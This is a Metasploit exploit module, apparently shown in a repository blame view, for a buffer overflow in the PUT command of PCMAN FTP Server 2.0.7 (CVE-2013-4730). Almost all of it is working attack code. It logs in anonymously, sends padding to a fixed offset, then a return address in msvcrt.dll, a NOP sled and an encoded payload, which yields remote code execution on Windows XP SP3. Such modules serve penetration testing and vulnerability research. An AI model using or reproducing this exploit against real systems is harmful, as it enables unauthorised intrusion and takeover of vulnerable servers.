Files
metasploit-gs/modules/exploits/windows/ftp/pcman_put.rb
T

83 lines
2.0 KiB
Ruby
Raw Normal View History

2016-01-26 17:09:31 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2016-01-26 17:09:31 -06:00
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
2016-01-26 17:09:31 -06:00
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
2016-01-26 23:19:18 -06:00
'Name' => 'PCMAN FTP Server Buffer Overflow - PUT Command',
2016-01-26 17:09:31 -06:00
'Description' => %q{
This module exploits a buffer overflow vulnerability found in the PUT command of the
PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
2017-09-13 22:03:34 -04:00
credentials are enabled.
2016-01-26 17:09:31 -06:00
},
'Author' =>
[
2016-01-26 23:19:18 -06:00
'Jay Turla', # Initial Discovery -- @shipcod3
'Chris Higgins' # msf Module -- @ch1gg1ns
2016-01-26 17:09:31 -06:00
],
'License' => MSF_LICENSE,
'References' =>
[
2018-07-08 18:46:04 -05:00
[ 'CVE', '2013-4730' ],
2016-02-01 17:11:46 -06:00
[ 'EDB', '37731'],
[ 'OSVDB', '94624']
2016-01-26 17:09:31 -06:00
],
'DefaultOptions' =>
{
2016-01-26 23:19:18 -06:00
'EXITFUNC' => 'process'
2016-01-26 17:09:31 -06:00
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0A\x0D",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 English',
{
'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
'Offset' => 2007
}
],
],
'DisclosureDate' => 'Aug 07 2015',
'DefaultTarget' => 0))
end
def post_auth?
true
end
2016-01-26 17:09:31 -06:00
def check
connect_login
disconnect
if /220 PCMan's FTP Server 2\.0/ === banner
2016-01-26 23:19:18 -06:00
Exploit::CheckCode::Appears
2016-01-26 17:09:31 -06:00
else
2016-01-26 23:19:18 -06:00
Exploit::CheckCode::Safe
2016-01-26 17:09:31 -06:00
end
end
def exploit
connect_login
print_status('Generating payload...')
sploit = rand_text_alpha(target['Offset'])
sploit << [target.ret].pack('V')
sploit << make_nops(16)
sploit << payload.encoded
send_cmd( ["PUT", sploit], false )
disconnect
end
end